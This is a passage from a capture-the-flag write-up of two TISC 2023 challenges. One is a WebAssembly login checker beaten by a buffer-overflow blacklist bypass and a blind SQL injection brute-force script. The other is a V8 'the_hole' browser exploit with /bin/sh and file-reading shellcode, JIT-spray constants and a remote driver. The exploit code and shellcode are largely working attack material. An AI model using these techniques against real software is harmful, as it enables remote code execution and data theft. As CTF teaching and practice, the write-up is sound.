(data (;0;) (i32.const 65536) "-+   0X0x\00-0X+0X 0X-0x+0x 0x\00nan\00inf\00NAN\00INF\00.\00(null)\00SELECT * from Users WHERE username=\22%s\22 AND password=\22%s\22\00Blacklisted!\00\00\00\00\19\00\0a\00\19\19\19\00\00\00\00\05\00\00\00\00\00\00\09\00\00\00\00\0b\00\00\00\00\00\00\00\00\19\00\11\0a\19\19\19\03\0a\07\00\01\00\09\0b\18\00\00\09\06\0b\00\00\0b\00\06\19\00\00\00\19\19\19\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\0e\00\00\00\00\00\00\00\00\19\00\0a\0d\19\19\19\00\0d\00\00\02\00\09\0e\00\00\00\09\00\0e\00\00\0e\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\0c\00\00\00\00\00\00\00\00\00\00\00\13\00\00\00\00\13\00\00\00\00\09\0c\00\00\00\00\00\0c\00\00\0c\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\10\00\00\00\00\00\00\00\00\00\00\00\0f\00\00\00\04\0f\00\00\00\00\09\10\00\00\00\00\00\10\00\00\10\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\12\00\00\00\00\00\00\00\00\00\00\00\11\00\00\00\00\11\00\00\00\00\09\12\00\00\00\00\00\12\00\00\12\00\00\1a\00\00\00\1a\1a\1a\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\1a\00\00\00\1a\1a\1a\00\00\00\00\00\00\09\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\14\00\00\00\00\00\00\00\00\00\00\00\17\00\00\00\00\17\00\00\00\00\09\14\00\00\00\00\00\14\00\00\14\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\16\00\00\00\00\00\00\00\00\00\00\00\15\00\00\00\00\15\00\00\00\00\09\16\00\00\00\00\00\16\00\00\16\00\000123456789ABCDEF")

We can immediately see the use of Emscripten in the binary. The implementation generally mimics an ELF binary with a “data segment” and a stack-like structure.

Returning to Ghidra, we take a look at our function of interest:

undefined4 export::craft_query(undefined4 p_un,undefined4 p_pw)
{
  undefined4 uVar1;
  undefined local_90 [59];
  undefined local_55;
  undefined local_50 [68];
  uint local_c;
  undefined4 local_8;
  undefined4 local_4;
  
  local_c = 1;
  local_8 = p_pw;
  local_4 = p_un;
  unnamed_function_4(local_50,p_un);
  unnamed_function_15(local_90,local_8,0x3b);
  local_55 = 0;
  uVar1 = (**(code **)((ulonglong)local_c * 4))(local_50,local_90);
  return uVar1;
}

In particular, we notice an interesting line

  uVar1 = (**(code **)((ulonglong)local_c * 4))(local_50,local_90);
    ram:80000e1d 11 03 00        call_ind   type=0x3 table0

This instruction is an indirect call to a function with type=0x3, or

  (type (;3;) (func (param i32 i32) (result i32)))

The program looks up the function table and calls the function at the specified index (1 in this case). Referring to the line

  (elem (;0;) (i32.const 1) func 8 6 40 41 44)

In this case index 1 refers to function 8 which is is_blacklisted. Interestingly, the next index 2 refers to load_query, with the exact same type as is_blacklisted.

If we insert the information into the above decompiled line

  uVar1 = is_blacklisted(local_50,local_90);

And look at the function itself

char * export::is_blacklisted(undefined4 p_un,undefined4 p_pw)
{
  uint uVar1;
  char *local_4;
  
  uVar1 = check(p_un);
  if (((uVar1 & 1) == 0) || (uVar1 = check(p_pw), (uVar1 & 1) == 0)) {
    local_4 = s_Blacklisted!_ram_00010070;
  }
  else {
    local_4 = (char *)load_query(p_un,p_pw);
  }
  return local_4;
}

We can see how is_blacklisted acts as a patch “wrapper” around load_query (also as a reference to the comment in the server script at the very beginning). The check function is as such:

uint check(char *param1)
{
  int iVar1;
  char *local_8;
  byte local_1;
  
  local_8 = param1;
  do {
    if (*local_8 == '\0') {
      local_1 = 1;
code_r0x80000c85:
      return (uint)local_1;
    }
    iVar1 = is_alpha((int)*local_8);
    if (iVar1 == 0) {
      local_1 = 0;
      goto code_r0x80000c85;
    }
    local_8 = local_8 + 1;
  } while( true );
}

uint is_alpha(uint param1)
{
  return (uint)((param1 | 0x20) - 0x61 < 0x1a);
}

We can immediately see how strict the blacklist is, disallowing any character in the string that is not a letter. Fortunately we have already found an idea that potentially allows us to circumvent this.


Part III

Back to the craft_query function:

undefined4 export::craft_query(undefined4 p_un,undefined4 p_pw)
{
  undefined4 uVar1;
  undefined pw [59];
  undefined local_55;
  undefined un [68];
  uint func_idx;
  undefined4 p_pw2;
  undefined4 p_un2;
  
  func_idx = 1;
  p_pw2 = p_pw;
  p_un2 = p_un;
  unnamed_function_4(un,p_un); // ???
  unnamed_function_15(pw,p_pw2,0x3b); // 59
  local_55 = 0;
  uVar1 = (**(code **)((ulonglong)func_idx * 4))(un,pw);
  return uVar1;
}

We very quickly realise the lack of a length check on the string at p_un when passed into unnamed_function_4. Theoretically, this could allow for a buffer overflow which, due to how Emscripten mimics the C stack, would modify func_idx to be set to 2, pointing instead directly to load_query and skipping over is_blacklisted.

After analysing the function unnamed_function_4 we find that it is simply an implementation of url_decode, writing the formatted source over to the destination and, as we have hoped, disregarding the length in the process.

Also fortunately for us in this case, the decompilation did not lie, and func_idx is indeed located 68 bytes after un. We can very quickly test this by invoking the craft_query AWS Lambda function directly:

$ aws lambda invoke --function-name craft_query --cli-binary-format raw-in-base64-out --payload '{ "username": "b", "p
assword": "test!" }' out.txt; cat out.txt
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}
"Blacklisted!"
$ aws lambda invoke --function-name craft_query --cli-binary-format raw-in-base64-out --payload '{ "username": "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\u0002", "password": "test!" }' out.txt; cat out.txt
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}
"SELECT * from Users WHERE username=\"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\u0002\" AND password=\"test!\""

We have indeed bypassed the blacklist!


Part IV

We are now left with a blind SQL injection (true to the title indeed). To do this, our sample payload (in this case for checking if char 1 is T) would be

SELECT * from Users
WHERE username="admin" AND SUBSTRING(password,1,1)=BINARY "T"
OR    username="aaaaaaaaa\u0002" AND password="b"

In which case we have

let username = `admin" AND SUBSTRING(password,1,1)=BINARY "T" OR username="aaaaaaaaa\u0002`;
let password = "b";

If an entry is found in the database, we are essentially “logged in”, where a welcome message will be displayed, othewise the server returns an invalid username/password error.

Now we simply have to try all the possible characters for each index. Here is the full script:

async function check(idx, chr) {
  payload = `admin" AND SUBSTRING(password,${idx},1)=BINARY "${chr}" OR username="`;
  res = await fetch("http://chals.tisc23.ctf.sg:28471/api/login", {
      method: "POST",
      body: new URLSearchParams({
          "username": payload + "a".repeat(68-payload.length) + "\x02",
          "password": "b"
      }),
      headers: { "Content-Type": "application/x-www-form-urlencoded" }
  });
  out = await res.text();
  return out.includes("Welcome");
}

async function run() {
  let idx = 1;
  let flag = "";
  let found;
  while (true) {
      found = false;
      for (let ord = 33; ord < 127; ord++) {
          let x = String.fromCharCode(ord);
          if (await check(idx, x)) {
              idx += 1;
              flag += x;
              found = true;
              console.log(flag);
              if (flag.at(-1) == "}") return flag;
              break;
          }
      }
      if (!found) return "";
  }
}

await run();
T
TI
TIS
TISC
TISC{
TISC{a
TISC{a1
TISC{a1P
TISC{a1Ph
TISC{a1PhA
TISC{a1PhAb
TISC{a1PhAb3
TISC{a1PhAb3t
TISC{a1PhAb3t_
TISC{a1PhAb3t_0
TISC{a1PhAb3t_0N
TISC{a1PhAb3t_0N1
TISC{a1PhAb3t_0N1Y
TISC{a1PhAb3t_0N1Y}
'TISC{a1PhAb3t_0N1Y}'

[9] PalinChrome

Category: pwn

Description:

To ensure a safe browsing environment, PALINDROME came up with their own browser, powered by their own proprietary Javascript engine. What could go wrong?

Note: The flag is in the same directory as ‘d8’ and with the filename ‘flag’.

Disclamer: This will be a relatively shallow writeup as I do not have much experience on browser pwn and a large part of the exploit is based on online research. As such please also pardon any mistakes in the interpretation of the exploit.


This looks like a pretty standard browser exploitation setup, with a d8 binary and a diff file provided. Let us first analyse the diff:

diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 37f7de8880..58b0357e6f 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3266,6 +3266,7 @@ static void AccessIndexedEnumerator(const PropertyCallbackInfo<Array>& info) {}
 
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
+  /*
   global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
@@ -3284,8 +3285,10 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
                        FunctionTemplate::New(isolate, ExecuteFile));
+  */
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
+  /*
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
@@ -3316,6 +3319,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
   }
+  */
 
   if (options.throw_on_failed_access_check ||
       options.noop_on_failed_access_check) {

This apparently is a pretty common setup found in browser pwn CTFs which (I think) “unhide” the relevant functions in WebAssembly and allow them to be run.

The rest of the diff seem to be focused on the same idea:

diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index c656b02e75..d963caedd1 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -816,6 +816,7 @@ namespace internal {
   CPP(ObjectPrototypeGetProto)                                                 \
   CPP(ObjectPrototypeSetProto)                                                 \
   CPP(ObjectSeal)                                                              \
+  CPP(ObjectLeakHole)                                                          \
   TFS(ObjectToString, kReceiver)                                               \
   TFJ(ObjectValues, kJSArgcReceiverSlots + 1, kReceiver, kObject)              \
                                                                                \
diff --git a/src/builtins/builtins-object.cc b/src/builtins/builtins-object.cc
index e6d26ef7c7..279a6b7c4d 100644
--- a/src/builtins/builtins-object.cc
+++ b/src/builtins/builtins-object.cc
@@ -367,5 +367,10 @@ BUILTIN(ObjectSeal) {
   return *object;
 }
 
+BUILTIN(ObjectLeakHole){
+  HandleScope scope(isolate);
+  return ReadOnlyRoots(isolate).the_hole_value();
+}
+
 }  // namespace internal
 }  // namespace v8

A function is defined here as part of the builtins for Object, which seems to simply return the_hole_value.

diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 8a81c4acda..0e87f71473 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1604,6 +1604,9 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
     SimpleInstallFunction(isolate_, object_function, "seal",
                           Builtin::kObjectSeal, 1, false);
 
+    SimpleInstallFunction(isolate_, object_function, "leakHole",
+                          Builtin::kObjectLeakHole, 0, false);
+
     SimpleInstallFunction(isolate_, object_function, "create",
                           Builtin::kObjectCreate, 2, false);

This allows us to call Object.leakHole to invoke the newly defined function. We can test this out on our local d8 binary:

$ ./d8 --allow-natives-syntax
V8 version 10.8.168.41
d8> %DebugPrint(Object.leakHole({}))
0x1c5e00002459 <the_hole>
undefined

How is this significant? Well, a simple google search on “v8 the hole leak” brings us to numerous writeups on CVE-2021-38003, which infamously made use of the_hole to craft a pretty simple-looking exploit leading to RCE. This CVE has been extensively analysed, and partly resulted in not only the vulnerability that leaked the_hole but also the vulnerability that exploited the_hole to be patched. The latter was back in mid 2022. Indeed, trying out this exploit in our local binary results in an error:

$ ./d8 --allow-natives-syntax
V8 version 10.8.168.41
d8> function hole() { return Object.leakHole({}); }
undefined
d8> %DebugPrint(hole())
0x1c5e00002459 <the_hole>
undefined
d8> var m = new Map();
undefined
d8> m.set(1, 1);
[object Map]
d8> m.set(hole(), 1);
[object Map]
d8> m.delete(hole());
Trace/breakpoint trap

So how, without this CVE, are we supposed to exploit the_hole (which was all the diff provided)? Well, this is not necessaily the only CVE that exploits the_hole. Looking at the Dockerfile

RUN cd /build && fetch v8 && cd v8 && git checkout 870dcbede8621885bd4f007ca052f95cc62e7cdb && git apply ../d9.patch && gclient sync -f --with_branch_heads

And looking up this specific commit on e.g. GitHub we find that we are on version 10.8, which was all the way back in Oct 2022, after the above patch, but with a large time frame that allows for other the_hole exploits to be surfaced. Searching for such in 2023 indeed surfaces two CVES:

  • CVE-2023-2033
  • CVE-2023-3079

Searching for articles and exploits for these two CVEs, they seem to be using the same method to exploit the_hole. Of course it has been patched since then, but we see that the patch is only introduced in June this year, way after version 10.8. Thus, this seems to be a viable exploit path.

Unfortunately, the exploit in the link above does not seem to work out of the box; After digging deeper, we find an article with a mostly working script referencing the same exploit method. The main difference seems to be an additional loop

do {
    install_primitives();
} while (!packed_dbl_map);

And we see that somehow it generally takes 2 iterations for packed_dbl_map to be set properly.

$ ./d8 solve.js
packed_dbl_map = 18cfb9
packed_dbl_props = 2259
packed_dbl_elements = 45b41
packed_map = 18d039
packed_props = 2259
packed_elements = 45b79
fixed_arr_map = 2231
large_arr = 30a761

After we have successfully set up our primitives, we proceed with our main exploit code.

// CREDITS: https://cwresearchlab.co.kr/entry/Chrome-v8-Hole-Exploit

/* execute shellcode */

let shellcode = [0xceb586e69622f68n,
    0xceb5b0068732f68n,
    0xceb909020e3c148n,
    0xceb909050d80148n,
    0xceb909090e78948n,
    0xceb903bb0c03148n,
    0x50fd23148f63148n];  // execve("/bin/sh", 0, 0)

const f = () => {
    return [1.9555025752250707e-246,
        1.9562205631094693e-246,
        1.9711824228871598e-246,
        1.9711826272864685e-246,
        1.9711829003383248e-246,
        1.9710902863710406e-246,
        2.6749077589586695e-284];
}

for (let i = 0; i < 0x10000; i++) { f(); f(); f(); f(); }

let code = aar(addrof(f) + 0x18n) & 0xffffffffn;
let inst = aar(code + 0xcn) + 0x60n;
aaw(code + 0xcn, inst);

f();

Over here we start to encounter some problems, even though we are sure the addresses and arb read/write functions have been set up correctly. The most straightforward way is hence to hack it open in a debugger and understand what is going on. Following the steps in the same article we look at how the r-x portion of the JIT-compiled function is being exploited:

// ...
console.log(addrof(f).toString(16));
%DebugPrint(f);

let code = aar(addrof(f) + 0x18n) & 0xffffffffn;
console.log("code = " + code.toString(16));
let inst = aar(code + 0xcn) + 0x60n;
aaw(code + 0xcn, inst);
console.log("inst = " + inst.toString(16));
%SystemBreak();
$ gdb d8
gef➤  r --allow-natives-syntax solve.js
30f00d
0x32900030f00d <JSFunction f (sfi = 0x3290001958d1)>
code = 1995a5
inst = -3fff70ffffffaa4c
gef➤  x/12wx 0x32900030f00d-1
0x32900030f00c: 0x00182b3d      0x00002259      0x00002259      0x001958d1
0x32900030f01c: 0x00195f21      0x00195e61      0x001995a5      0x000029f9
0x32900030f02c: 0x00000002      0x0018306d      0x00000000      0x000023fd
gef➤  x/12wx 0x3290001995a5-1
0x3290001995a4: 0x00002a71      0x00199501      0xc0008ec1      0x000055b4
0x3290001995b4: 0xc0008f00      0x00005554      0xffff001d      0x00000004
0x3290001995c4: 0x00002231      0x0000004c      0x00199665      0x00000002
gef➤  x/gx 0x3290001995a5-1+0xc
0x3290001995b0: 0xc0008f00000055b4

Very clearly this is not the address that we want. Taking a quick look at vmmap we can find the actual offset to jump to:

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00328800000000 0x00329000000000 0x00000000000000 ---
0x00329000000000 0x0032900000b000 0x00000000000000 r--
...
0x005554c0004000 0x005554c003f000 0x00000000000000 r-x
0x005554c003f000 0x005554dfe80000 0x00000000000000 ---
0x005554dfe80000 0x005554dfffe000 0x00000000f11000 r-x /[REDACTED]/d8
...
gef➤  x/gx 0x3290001995a5-1+0x10
0x3290001995b4: 0x00005554c0008f00
gef➤  x/30i 0x00005554c0008f00
   0x5554c0008f00:      mov    ebx,DWORD PTR [rcx-0x30]
   0x5554c0008f03:      add    rbx,r14
   0x5554c0008f06:      test   BYTE PTR [rbx+0x1b],0x1
   0x5554c0008f0a:      je     0x5554c0008f11
   0x5554c0008f0c:      jmp    0x5554dfe8d1c0
   0x5554c0008f11:      push   rbp
   0x5554c0008f12:      mov    rbp,rsp
   0x5554c0008f15:      push   rsi
   0x5554c0008f16:      push   rdi
   0x5554c0008f17:      push   rax
   0x5554c0008f18:      sub    rsp,0x8
   0x5554c0008f1c:      cmp    rsp,QWORD PTR [r13+0x20]
   0x5554c0008f20:      jbe    0x5554c0009036
   0x5554c0008f26:      mov    rcx,QWORD PTR [r13+0xce30]
   0x5554c0008f2d:      lea    rdi,[rcx+0x50]
   0x5554c0008f31:      cmp    QWORD PTR [r13+0xce38],rdi
   0x5554c0008f38:      jbe    0x5554c0009066
   0x5554c0008f3e:      lea    rdi,[rcx+0x40]
   0x5554c0008f42:      mov    QWORD PTR [r13+0xce30],rdi
   0x5554c0008f49:      add    rcx,0x1
   0x5554c0008f4d:      mov    r8,QWORD PTR [r13+0x288]
   0x5554c0008f54:      mov    DWORD PTR [rcx-0x1],r8d
   0x5554c0008f58:      mov    DWORD PTR [rcx+0x3],0xe
   0x5554c0008f5f:      movabs r10,0xceb586e69622f68
   0x5554c0008f69:      vmovq  xmm0,r10
   0x5554c0008f6e:      vmovsd QWORD PTR [rcx+0x7],xmm0
   0x5554c0008f73:      movabs r10,0xceb5b0068732f68
   0x5554c0008f7d:      vmovq  xmm0,r10
   0x5554c0008f82:      vmovsd QWORD PTR [rcx+0xf],xmm0
   0x5554c0008f87:      movabs r10,0xceb909020e3c148
gef➤  x/5i 0x00005554c0008f00+0x60
   0x5554c0008f60:      mov    edx,0x69622f68
   0x5554c0008f65:      outs   dx,BYTE PTR ds:[rsi]
   0x5554c0008f66:      pop    rax
   0x5554c0008f67:      jmp    0x5554c0008f75
   0x5554c0008f69:      vmovq  xmm0,r10
gef➤  x/5i 0x00005554c0008f00+0x61
   0x5554c0008f61:      push   0x6e69622f
   0x5554c0008f66:      pop    rax
   0x5554c0008f67:      jmp    0x5554c0008f75
   0x5554c0008f69:      vmovq  xmm0,r10
   0x5554c0008f6e:      vmovsd QWORD PTR [rcx+0x7],xmm0

Interestingly the inst offset is also off by 1. Thus the patched code becomes

console.log(addrof(f).toString(16));
%DebugPrint(f);

let code = aar(addrof(f) + 0x18n) & 0xffffffffn;
console.log("code = " + code.toString(16));
let inst = aar(code + 0x10n) + 0x61n;
aaw(code + 0x10n, inst);
console.log("inst = " + inst.toString(16));
%SystemBreak();

With this we can already obtain a local shell. However there seems to be a problem on the remote server:

from pwn import *
from base64 import b64encode

with open('./solve.js') as f:
    raw = f.read().replace('\r', '')

p = remote('[REDACTED]', -1)
p.sendline(b64encode(raw.encode()))

p.interactive()
$ python3 solve.py
[+] Opening connection to [REDACTED] on port -1: Done
[*] Switching to interactive mode
Base64 encoded javascript file to be passed to d8: [x] Starting local process './d8'
[+] Starting local process './d8': pid -2
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to [REDACTED] port -1

Through some exploring and tinkering I was pretty confident that the patched version of the script went through perfectly fine on remote and reached the shellcode stage, which means that the /bin/sh shellcode was somehow not accepted on remote. Hence I simply changed the shellcode to orw and it worked perfectly fine:

import struct

'''mov edx, 0x67616c66
push rdx   
mov rdi, rsp
xor esi, esi
nop
mov eax, 2
nop
syscall
mov edi, eax
nop
nop
mov rsi, rsp
xor eax, eax
nop
mov edx, 0x30
nop
syscall
xor edi, 2
nop
mov eax, edi
syscall
nop
nop
nop
nop'''

JMP_PADDING = b'\xeb\x0c'
SHELLCODE = b'\xBA\x66\x6C\x61\x67\x52\x48\x89\xE7\x31\xF6\x90\xB8\x02\x00\x00\x00\x90\x0F\x05\x89\xC7\x90\x90\x48\x89\xE6\x31\xC0\x90\xBA\x30\x00\x00\x00\x90\x0F\x05\x83\xF7\x02\x90\x89\xF8\x0F\x05\x90\x90\x90\x90'

res = JMP_PADDING.join(SHELLCODE[i:i+6] for i in range(0, len(SHELLCODE)-2, 6)) + SHELLCODE[-2:]
print(list(struct.unpack('d'*(len(res)//8), res)))
const f = () => {
    // return [1.9555025752250707e-246,
    //     1.9562205631094693e-246,
    //     1.9711824228871598e-246,
    //     1.9711826272864685e-246,
    //     1.9711829003383248e-246,
    //     1.9710902863710406e-246,
    //     2.6749077589586695e-284];
    return [1.9538188612872625e-246, 1.9712937950614383e-246, 1.9710251537800806e-246, 1.971183133196336e-246, 1.9712348717003474e-246, 1.971025153783073e-246, 1.9710283911189633e-246, -6.82852360670674e-229];
}
$ python3 solve.py
[+] Opening connection to [REDACTED] on port -1: Done
[*] Switching to interactive mode
Base64 encoded javascript file to be passed to d8: [x] Starting local process './d8'
[+] Starting local process './d8': pid -2
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
TISC{!F0unD_4_M1ll10n_d0LL4R_CHR0m3_3xP017}\x00\xa7\x1a\x00\x00Received signal 11 SEGV_ACCERR 559d600089f0

==== C stack trace ===============================

 [0x559de58c44c6]
 [0x7fbfe93d3520]
 [0x559d600089ba]
[end of stack trace]
$
[*] Interrupted
[*] Closed connection to [REDACTED] port -1
TISC{!F0unD_4_M1ll10n_d0LL4R_CHR0m3_3xP017}

Closing Thoughts

This is my first year attempting TISC. As a primarily rev/pwn player I found the challenges pretty unique and interesting, especially of course 6b and 7b. It also allowed me to practise my skills in other domains that I would not normally go out of my way to touch. As such, I would like to thank CSIT for all their hard work in organising this event and making it such a smooth and successful one!

This is also my first time attempting (and solving) a browser pwn challenge, and I was surprised by the amount of fun I had in debugging the exploit and eventually acquiring a shell. I hope this serves as a starting point for me to explore further into this subfield :D